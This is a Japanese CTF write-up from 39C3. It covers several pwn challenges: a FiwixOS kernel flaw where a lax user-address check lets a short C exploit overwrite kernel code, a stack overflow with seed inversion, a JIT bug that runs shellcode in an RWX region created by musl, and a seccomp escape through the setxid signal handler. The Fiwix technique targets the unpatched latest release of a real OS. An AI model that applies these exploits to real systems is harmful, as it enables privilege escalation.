39C3 ctf pwn
一生一度あるかないかの現地参加でした。バッジを見たり猫ランプを作ってみたり、5年ほど同じチームで初めて対面したり、個人的にはかなり楽しみにしていたイベントで、無事行けてよかったです。CTFはあまり時間が取れないだろうと予想していましたが、ホールを移動している時間だったり、夜中だったりに触ってみると意外と簡単だったので、楽しく取り組めました。
いろいろ調べることもあったので、書いて残しておこうと思います。作成したスクリプトはこちら
h_wix_p
FiwixOSの最新版のバイナリがそのまま置かれています。 パッチがないのでゼロデイ問なのですが、難度はeasyになっています。
ばんばん解かれていたのでかなり簡単でしょうとよんで、システムコールのアドレスチェックを探します。
int check_user_area(int type, const void *addr, unsigned int size)
{
return verify_address(type, addr, size);
}
static int verify_address(int type, const void *addr, unsigned int size)
{
#ifdef CONFIG_LAZY_USER_ADDR_CHECK
if(!addr) {
return -EFAULT;
}
#else
...
}
結構ちゃんとやっていますが、実際のコードを見てみてるとほとんど何もやっていません。これは、デフォルトでは CONFIG_LAZY_USER_ADDR_CHECKは定義されていることが理由で、このためアドレスが入っているかどうかしか確認していません。つまり、関数にカーネル側のポインタを渡すことができます。簡単でした。
競技時間中はさらに長さのコントロールが怪しいのではと思っていて、memcpyからmsgrcvを見ていて、そのままexploitにも使いましたが、もっと楽なアイデアもたくさんあって勉強になりました。
書き込み先はcred系が定番ですが、そもそもコードを書き換えられるので、openで使われている check_permissonを壊すことで誰でも何でも開けられるようにしました。以下のexploitでパッチできます。
#include <unistd.h>
int main(void)
{
read(0, (int *)0xc0104b78, 3);
return 0;
}
あとはスクリプトから xor eax,eax; retを入れてあげるどのファイルでも開けるようになります。
orakel-von-hxp (解けず)
uart0からスタックへ入力して、uart1に送られているフラグを読み出す問題です。脆弱性自体はスタックバッファオーバーフローで、制御自体は簡単にとれます。
while(1)
{
serial_puts("Please ask your question as clearly as possible: ");
serial_fgets(sbuf, 0x200, uart0); // <------ (3)
if(strncmp(sbuf, enlightened, 16) == 0) break;
tfp_printf("Your question was %s (0x%x). The oracle is thinking...\n", sbuf, *buffer);
seedRand(*buffer); // <------ (1)
uint32_t *location = (uint32_t*)genRandLong(); // <------ (2)
// TODO: what does qemu do if we yolo random memory?
delay(1000);
if(uart1->CTL & UARTCTL_UARTEN)
{
serial_puts("The oracle is screaming, what have you done?!?");
}
else
{
printf("The oracle answered 0x%x.\n", *location);
}
}
問題はアドレスが不定であることで、これは接続するたびにセクションを並べ替えてからリンクしていることが原因です。自作のASLRのようなイメージです。しかしながらリセットベクタやスタックの位置は変わらないので、リセットベクタから mainの位置、 mainから別の関数の位置と順々に見に行くことができます。
もう一つこの問題のポイントは、genRandLongからメルセンヌ・ツイスタの乱数が返ってくる(1)ことです。シードはこちらの入力になっている(2)ので、うまく出力をコントロールする必要があります。
具体的に何やってるのかはあまりわかっていないですがたぶん線形だろうから、ここはAIに頼んで逆変換を書いてもらいます。結論嘘だったっぽくて、時々失敗するz3が出力されましたが取り急ぎ使えるのでヨシとしています。
アドレスが判明したあとは、スタックを書き換えて uart1から読み取って、 uart0への printfに来るように関数を順に呼べば、 uart1の内容が流れてきます。これは uart1を初期化したあと、第三引数を uart1に変えて(3)に処理を戻せば良いです。
サーバ側ではなぜか同じアドレスを2回聞くと、2回目に正しそうな値が返るという仕様になっていて、すべての値を2度出すようにして対応しました。
cassandra-von-hxp (解けず)
qemuにパッチが入っていますが、理由がよくわかっておらず、なにかの非想定からの出し直しと思われます。問題内容は前問と変わらなそうなので同じスクリプトを投げたところ、フラグがふってきたので省略します。
brainfast (解けず)
Brainfuckの文字列へのポインタが、何度か呼ぶとコンパイルされてコードへのポインタに置き換わります。バグはこのJITコンパイルの作業にあって、置き換わるときに完了フラグを変えるタイミングが早すぎて、コンパイルに失敗していても文字列がコードとして格納されてしまいます。無効な文字やコードサイズなどでコンパイルが失敗するので、簡単にトリガーできます。
当初、RWXでマップされている領域があるので、うまくここにポインタを持ってこれば実行されるのかなと思いましたが、特段この領域を呼んだり書いたりできないようです。競技時間が終わったあとで、ふとローカルのdocker環境で動かしてみたところ、何故かRWX領域に文字列が格納されています。そのまま適当にシェルコードを埋め込んだらコード実行してくれました。5分くらいで解けてしまってかなしい。
せっかくなので理由を調べてみました。
- なぜ明示的にRWXになっていないsnippet.soがRWXでマップされているか
- なぜgetlineはsnippet.soのRWX領域をヒープとして返すか
まずRWX領域は getlineの戻り値としてセットされています。この領域はsnippets.soのものであるはずですが、このライブラリはシンボルとバイトコードをJITコンパイル用に提供しているだけで、実行部が全くありません。そもそもRWXになっている理由がありません。
snippets.soに含まれる、JITコンパイル時のバイト列とシンボルは例えば以下のとおりです。
io_in:0000000000002026 io_in segment byte public 'CONST' use64
io_in:0000000000002026 assume cs:io_in
io_in:0000000000002026 ;org 2026h
io_in:0000000000002026
io_in:0000000000002026 public __start_io_in
io_in:0000000000002026 __start_io_in: ; DATA XREF: LOAD:0000000000000428↑o
io_in:0000000000002026 ; LOAD:0000000000000458↑o
io_in:0000000000002026 57 push rdi ; Alternative name is '__stop_io_out'
io_in:0000000000002026 ; __start_io_in
io_in:0000000000002026 ; __stop_io_out
io_in:0000000000002027 48 B8 80 40 00 mov rax, offset getchar
io_in:0000000000002027 00 00 00 00 00
io_in:0000000000002031 FF D0 call rax ; getchar
io_in:0000000000002033 5F pop rdi
io_in:0000000000002034 48 8B 37 mov rsi, [rdi]
io_in:0000000000002037 89 06 mov [rsi], eax
io_in:0000000000002037 io_in ends
これはBrainfuckで言う,のコマンドに相当します。このgetcharのオフセットの部分は、実際に動いているコードでは本当のオフセットが返ってきますが、IDAで見ているときは0x0000000000004080という即値が入っています。デバッガで動作させると0x00007ffff7fba136という値が入っていて、これはロード時に.textにリロケーションが入っていることを意味しています。
利用されているライブラリは今回 musl-libcです。musl-libcにおいて、DT_TEXTRELというリロケーションセクションを含んだこのバイナリは、.textでのリロケーションが必要なためRWXでマップされます。 参考 これがsnippets.soがRWXでマップされる理由です。
次に、mallocでRWXが返ってくる理由ですが、こちらは上記のRWXのあまりを使っているからというのが正しそうです。というのも、bss領域が0x4070で終わっていて、以降0xf90バイトが余っています。
ldsoにはライブラリをロードしたあと、bssの下位側のメモリを donateという処理を通して有効活用する動きがあります。 参考
コメントを斜め読みする限りでは、unmmapはできないので、せめてヒープとして使おうとしているようです。
mallocはこの部分を余すことなく使うことで省メモリを達成しようとしてしまいます。気持ちが分かる一方で見たことのない処理だったのでぎょっとしましたが、この辺に huge hackなどと記載されているので普通のことではないようです。
一通り仕組みがわかったところで、RWXを受け取ります。特定の大きさのmallocに対してRWXの領域部分が返ってくるので、その長さで調整します。 今回、Brainfuckとして有効でない文字も格納されるので、適当な長さの命令列をカッコでくくって、シェルコードを埋めておいたものを何度か繰り返し送ると、コンパイルが失敗したときに実行されます。
slop
ワーカースレッドを作成して、seccompを有効にしたあとスタックオーバーフローする問題です。seccompの条件が厳しいため、ワーカースレッド内ではコード実行はできないのですが、tkillというシステムコールが使えます。tkillは syscall(SYS_tkill, pid_t tid, int sig);という引数で呼べて、プロセスIDを第一引数にすると、メインスレッドに対してsigの番号のシグナルを撃てます。
メインスレッドの方はyieldのシステムコールを打ち続けて無限にループしているので、特に分岐があったり、シグナルハンドラがあるわけではありません。しかしながら特に他にめぼしいものがないので、シグナルの番号を変えて様子を見ていると、33番のときだけ処理が続き、 __nptl_setxid_sighandlerというシグナルハンドラが呼ばれます。
000000000042e9f0 <__nptl_setxid_sighandler>:
42e9f0: 83 ff 21 cmp edi,0x21
42e9f3: 74 0b je 42ea00 <__nptl_setxid_sighandler+0x10>
42e9f5: c3 ret
42e9f6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
42e9fd: 00 00 00
42ea00: 55 push rbp
42ea01: 53 push rbx
42ea02: 48 89 f3 mov rbx,rsi
42ea05: 48 83 ec 18 sub rsp,0x18
42ea09: 8b 6e 10 mov ebp,DWORD PTR [rsi+0x10]
42ea0c: e8 5f 5a 01 00 call 444470 <__getpid>
42ea11: 39 c5 cmp ebp,eax
42ea13: 0f 85 f7 00 00 00 jne 42eb10 <__nptl_setxid_sighandler+0x120>
42ea19: 83 7b 08 fa cmp DWORD PTR [rbx+0x8],0xfffffffa
42ea1d: 0f 85 ed 00 00 00 jne 42eb10 <__nptl_setxid_sighandler+0x120>
42ea23: 48 8b 05 46 77 09 00 mov rax,QWORD PTR [rip+0x97746] # 4c6170 <xidcmd>
42ea2a: 48 8b 70 10 mov rsi,QWORD PTR [rax+0x10]
42ea2e: 48 8b 78 08 mov rdi,QWORD PTR [rax+0x8]
42ea32: 48 8b 50 18 mov rdx,QWORD PTR [rax+0x18]
42ea36: 8b 00 mov eax,DWORD PTR [rax]
42ea38: 0f 05 syscall
...
そもそも役割としては、POSIXは例えば「スレッド内でsetuidを実行してuidを切り替えた時、そのスレッドだけでなくプロセス全てで同じuidを返す」という規則があるそうで、linuxの作りではこれがそのままできないのでそのための対応という位置づけのようです。スレッドを作成するときにハンドラが作成され、変更時にこの割り込みが動き、すべてのスレッドが同じ情報を共有するようになっているようです。
具体的に何をやってくれるのかを見ていくと、最初に固定のアドレスから引数を3つ取り出して好きなシステムコールを呼んでくれます。とても便利です。
さて、標準入出力は今回内側に向いているので、dup2からのexecveを続ける必要があり、ROPが必要です。システムコールは一度だけ使えるので、メインスレッドのスタックへの書き込みを狙います。メインスレッドのスタックは乱数を使って選択されていて予測できないですが、この数字はワーカースレッド側のスタックに落ちているので問題ないです。